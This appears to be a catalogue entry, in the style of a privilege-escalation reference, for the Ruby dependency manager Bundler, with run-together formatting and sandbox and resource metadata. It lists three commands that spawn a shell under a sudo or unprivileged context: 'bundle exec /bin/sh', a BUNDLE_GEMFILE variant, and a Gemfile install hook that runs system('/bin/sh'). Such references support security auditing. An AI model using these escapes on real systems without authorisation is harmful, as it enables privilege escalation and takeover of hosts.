Ruby dependency manager (Bundler), can spawn shells via exec and Gemfile manipulation.
bundle exec /bin/shbundle exec /bin/shSandbox: execFile · Timeout: 30s
security.privilege-escalation.shell Inputs
security.execution.context Sudo or unprivileged execution context
Outputs
process.output Shell output
process_spawn Produces
process.outputConsumes
security.execution.context| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Spawn a shell via bundle exec
bundle exec /bin/shSpawn a shell via BUNDLE_GEMFILE trick
BUNDLE_GEMFILE=x bundle exec /bin/shSpawn a shell via Gemfile install hook
echo 'system("/bin/sh")' >Gemfile
bundle install